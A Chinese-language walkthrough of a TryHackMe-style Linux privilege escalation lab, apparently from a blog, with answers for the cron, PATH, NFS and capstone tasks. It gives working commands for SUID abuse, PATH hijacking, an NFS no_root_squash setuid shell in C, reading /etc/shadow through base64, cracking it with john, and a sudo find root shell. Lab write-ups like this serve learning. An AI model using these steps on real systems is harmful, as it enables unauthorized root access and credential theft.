以下情况在没有特定网络安全成熟度级别的公司中并不少见:系统管理员需要定期运行脚本,他们创建一个 cron 作业来执行此操作,过了一会儿,脚本变得无用了,他们删除了它,它们不会清理相关的 cron 作业。

其中 脚本已被删除,但 cron 作业仍然存在。

1.How many user-defined cron jobs can you see on the target system?
您可以在目标系统上看到多少个用户定义的 cron 作业?

cat /etc/crontab

image-20241104151820362

ANSWER:4

2.What is the content of the flag5.txt file?
flag5.txt 文件的内容是什么?

查询位置

find / -type f -name "flag5.txt" 2>/dev/null

image-20241104151954408

发现不能直接cat,我们可以修改/home/karen/backup.sh的cronjob来提升权限

image-20241104153122650

我们给/bin/bash赋权suid,然后使用 chmod 命令授予 suid 权限

image-20241104153703494

成功

image-20241104154654711

-p 保持环境变量

可以拿flag5值了

image-20241104154858134

ANSWER:THM-383000283

3.What is Matt's password?

Matt 的密码是什么?

我们使用john解密密码

首先获取matt的/etc/passwd/etc/shadow

image-20241104155311164

unshadow passwd.txt shadow.txt > password.txt
john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt

image-20241104160015728

ANSWER:123456

Privilege Escalation: PATH 权限提升:PATH

如果用户具有写入权限的文件夹位于该路径中,则可能会劫持应用程序以运行脚本。Linux 中的 PATH 是一个环境变量,它告诉操作系统在何处搜索可执行文件。对于任何未内置于 shell 中或未使用绝对路径定义的命令,Linux 将开始在 PATH 下定义的文件夹中搜索。(PATH 是我们在这里讨论的环境变量,path 是文件的位置)。

通常,PATH 将如下所示:

image-20241104203309731

一般来说,更容易写入的文件夹是 /tmp,如果在 PATH 中不存在,我们需要添加它。正如我们在下面看到的,“export PATH=/tmp:$PATH” 命令完成了这一点。

image-20241104204220050

然后我们就可以通过在/tmp下写入恶意脚本来获取root权限了

1.What is the odd folder you have write access for?
您拥有写入权限的奇数文件夹是什么?

提示我们在/home目录下查找

find / -writable 2>/dev/null | grep /home

image-20241104204905049

2.What is the content of the flag6.txt file?
flag6.txt 文件的内容是什么?

我们首先进入可写目录,看到有两个文件

image-20241104205345685

发现thm.py是一个用于运行thm二进制文件的python脚本,而test可能是其生成的可执行二进制文件

image-20241104205306004

如果我们创建一个thm二进制文件并写入cat /flag命令,就可以获取flag值了

步骤如下:

​ 1.我们需要得到flag6.txt的位置

find / -type f -name "flag6.txt" 2>/dev/null

image-20241104210353099

​ 2.添加$PATH

export PATH=/home/murdoch:$PATH

image-20241104210438144

​ 3.创建thm二进制文件,并写入指令

echo "cat /home/matt/flag6.txt" > thm

image-20241104210544420

​ 4.赋权

chmod +x thm

image-20241104211340575

​ 5.执行

image-20241104211530652

ANSWER:THM-736628929

Privilege Escalation: NFS 权限提升:NFS

权限提升不限于内部访问。共享文件夹和远程管理界面(如 SSH 和 Telnet)还可以帮助您获得对目标系统的 root 访问权限。在某些情况下,还需要同时使用这两种类型,例如,在目标系统上找到根 SSH 私钥,并使用 root 权限通过 SSH 进行连接,而不是尝试提高当前用户的权限级别。

NFS(网络文件共享)配置保存在 /etc/exports文件中。此文件是在 NFS 服务器安装期间创建的,通常可由用户读取。

image-20241104212956521

首先在攻击机上列出可挂载的份额。

showmount -e <靶机ip>

showmount:这是一个用于NFS的命令,专门用来显示远程服务器上挂载或导出的文件系统信息。

-e:表示“exported”,用于显示指定服务器导出的(共享的)目录列表。

image-20241104213952049

将其中一个 “no_root_squash” 共享挂载到我们的攻击机器上,并开始构建我们的可执行文件。

由于我们可以设置 SUID 位,因此将在目标系统上运行 /bin/bash 的简单可执行文件将完成这项工作。

1.How many mountable shares can you identify on the target system?
您可以在目标系统上识别多少个可挂载的共享资源?

image-20241104213952049

ANSWER:3

2.How many shares have the "no_root_squash" option enabled?
启用了 “no_root_squash” 选项的多少个份额?

image-20241104214205610

ANSWER:3

3.Gain a root shell on the target system
在目标系统上获取 root shell

选一个no_root_squash的目录

mount -o rw <靶机ip>:<靶机目录> <本机目录>//mount:挂载命令,用于将文件系统挂载到本地。
//-o rw:-o 表示指定挂载选项,rw 选项表示启用“读写”权限,这样挂载后的共享文件夹可以读写。

image-20241104222235673

现在相当于目录同步了

我们在本地文件夹中创建一个恶意脚本

touch nfs.c
vim nsf.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{setgid(0);setuid(0);system("/bin/bash");return 0;
}

然后我们就可以将其编译成二进制可执行文件文件

gcc nfs.c -o nfs -w
//-o 选项用于指定输出文件的名称
//-w:此选项表示抑制编译警告

最后赋权运行即可

chmod +s nfs
./nfs
cat /home/matt/flag7.txt

ANSWER:THM-89384012

Capstone Challenge Capstone 挑战赛

1.What is the content of the flag1.txt file?
flag1.txt 文件的内容是什么

首先查询flag1.txt的位置

find / -type f -name "flag1.txt" 2>/dev/null

居然没找到,可能是需要管理员权限,我们先得提权

我们先看哪些有SUID权限

find / -type f -perm -04000 2>/dev/null

image-20241105103517521

发现有base64sudo,我们首先用base64去提权

具体步骤是:

​ 1.base64查看etc/passwd/etc/shadow的内容并复制到我们的攻击机中

base64 /etc/passwd | base64 --decode
base64 /etc/shadow | base64 --decode

发现只有两个用户可用,一个是我们登录的账号,另一个是missy,我们尝试破解他的密码登陆后查看是否具有特定权限

image-20241105105248761

image-20241105111348471

unshadow passwd.txt shadow.txt > password.txt

最后用john解密

john --wordlist=/usr/share/wordlists/rockyou.txt password.txt

image-20241105111816322

得到密码为Password1

我们切换用户

image-20241105112043507

好耶!

image-20241105113645054

ANSWER:THM-42828719920544

What is the content of the flag2.txt file?
flag2.txt 文件的内容是什么?

image-20241105182520130

image-20241105182801887

发现missy用户不好用了,看来得提权到root了

首先看看cronjob

cat /etc/crontab

image-20241105114308251

没有捏

image-20241105114544877

NFS也没有

看一下内核漏洞呢

cat /proc/version

image-20241105183644699

没有捏

到这里,我突然想起来我们有sudo的SUID权限,那么我们可以使用以下命令来生成一个具有root权限的shell

sudo find . -exec /bin/sh \; -quit

find .find 命令用于查找文件和目录。这里的 . 表示从当前目录开始递归查找。

-exec /bin/sh ;

  • -exec 参数用于对每一个匹配的文件执行指定命令。
  • /bin/sh:启动一个新的 shell,通常会在该 shell 中执行更多的命令。
  • \;:是 find 命令的语法,表示命令的结束。需要使用 \ 进行转义,防止被终端误解为结束 find 命令的选项。

-quit:在 find 命令找到第一个文件后立即退出。这意味着只会执行一次 /bin/sh,然后终止 find

这个命令的目的是利用 find 命令启动一个具有 root 权限的交互式 shell,但是前提你得有sudo的权限

image-20241105184349074

获取flag

image-20241105184427668

ANSWER:THM-168824782390238

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/833067.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

30 秒!用通义灵码画 SpaceX 星链发射流程图

30 秒!用通义灵码画 SpaceX 星链发射流程图不想读前人“骨灰级”代码, 不想当“牛马”程序员, 想像看图片一样快速读复杂代码和架构? 来了,灵码又加新 buff!!通义灵码支持代码逻辑可视化, 可以把你的每段代码画成流程图。 你可以把它当成一个超级脑图工具, 帮你快速画…

大模型--Megatron TP张量并行-15

目录1. 参考2. 介绍3. 权重的切分3.1 按行切分权重3.2 按列切分权重4. MLP层5. Self-Attention层6. Embedding层7. Cross-entropy层8. 张量模型并行 + 数据并行 1. 参考 https://zhuanlan.zhihu.com/p/622212228 2. 介绍 流水线并行 数据并行(DP,DDP和ZeRO) 介绍最重要,也是…

FreeModbus RTU 从机Hal库裸机移植避坑指南

首先说明 : FreeModbus 有很多个库!!!! 不同库的实现方法是略有不同的!!! 本次 FreeModbus RTU 移植 主要依据 这个网友分享的工程他人移植的库 你可能会在csdn看到他的文章, 但是完全跟着那个文章走很混乱 而且跟库的文件不一样. 故而 我重新整理了工程, 并写了一个详细的移植…

修改 NIKKE PC 端游戏缓存位置

本文记录如何使用 mklink 命令修改 NIKKE PC 端游戏缓存位置前言 NIKKE 每次版本更新都要下载大约 5~10G 的数据,以至于成为了我 AFK 的一部分原因 [允悲] 但是看游戏安装目录的大小却只有 1G 多,我还奇怪数据存哪去了,看到越来越小的 C 盘的空间才明白,草 搜索了一下后立马…

导包不对如何解决

问题: 这里这个包是自动导入的我们并不需要这个时候导致下面代码报错如何解决 2.解答:比如下面这给词爆红我们需要alt+enter,IDEA 会显示一个选择框,允许您选择 okhttp3.Request。选中后,它将使用您指定的正确包。,这里就是我是重新导入了maven依赖就好了

一图看懂云消息队列 RabbitMQ 版对比开源优势

随着企业对消息队列的性能和稳定性要求越来越高,运维成本也随之增加。 云消息队列 RabbitMQ 版通过架构优化:避免了消息积压导致的内存泄漏和服务器故障等稳定性问题; 解决了分布式系统中的脑裂难题; 并支持弹性伸缩和按量计费,有效降低资源和运维成本!那么,与开源 Rabb…

GIS工具哪家强?五款优质GIS工具箱对比分析

本文将为大家介绍五款功能各异的GIS工具箱,包括GISBox、QGIS、MapTiler、Saga GIS和Whitebox GAT。每款工具箱都有其独特的功能和应用场景,能够满足不同类型的GIS任务需求。无论是数据处理、空间分析、影像处理还是可视化需求,这些工具都能为用户提供丰富的解决方案。本文将…

安装Kibana__基于Windows系统

在此之前,请先安装Elasticsearch并启动一、下载安装包并解压安装https://www.elastic.co/downloads/kibanaterminal进入Kibana安装目录,通过.\bin\kibana.bat指令启动 二、配置后登录Kibana页面 启动成功,访问http://localhost:5601/,页面会要求你填入EnrollmentToken(此…

【Maya 2025软件下载与安装教程 含补丁】

1、安装包 「maya2025」: 链接:https://pan.quark.cn/s/de0d9d452470 提取码:Rhjp 「maya2024」: 链接:https://pan.quark.cn/s/887e52b68f51 提取码:jvyp 「maya2023」: 链接:https://pan.quark.cn/s/71f46b3d26e5 提取码:b6mA 「maya2020」: 链接:https://pan.qua…

Prometheus + Grafana 监控平台搭建

1、下载 prometheus和node_exporter:https://prometheus.io/download/ 下载完后上传到服务器解压 tar -zxvf prometheus-3.0.0-rc.1.linux-amd64.tar.gztar -zxvf node_exporter-1.8.2.linux-amd64.tar.gz2、启动 node_exporter nohup ./node_exporter --web.listen-address…

阿里云可观测 2024 年 10 月产品动态

阿里云可观测 2024 年 10 月产品动态

题解:CF2025E Card Game

在这 权当卡特兰数的复习题吧。不会卡特兰数的可以先看文末。如果没有花色 \(1\) 这道题就很简单了,对于每个别的花色都有 \(C(m)\) 种分配方案。\(C(n)\) 表示卡特兰数的第 \(n\) 项,答案就是乘起来。 发现除了花色 \(1\) 每种花色的牌都是独立的。这启示我们枚举每种牌用了…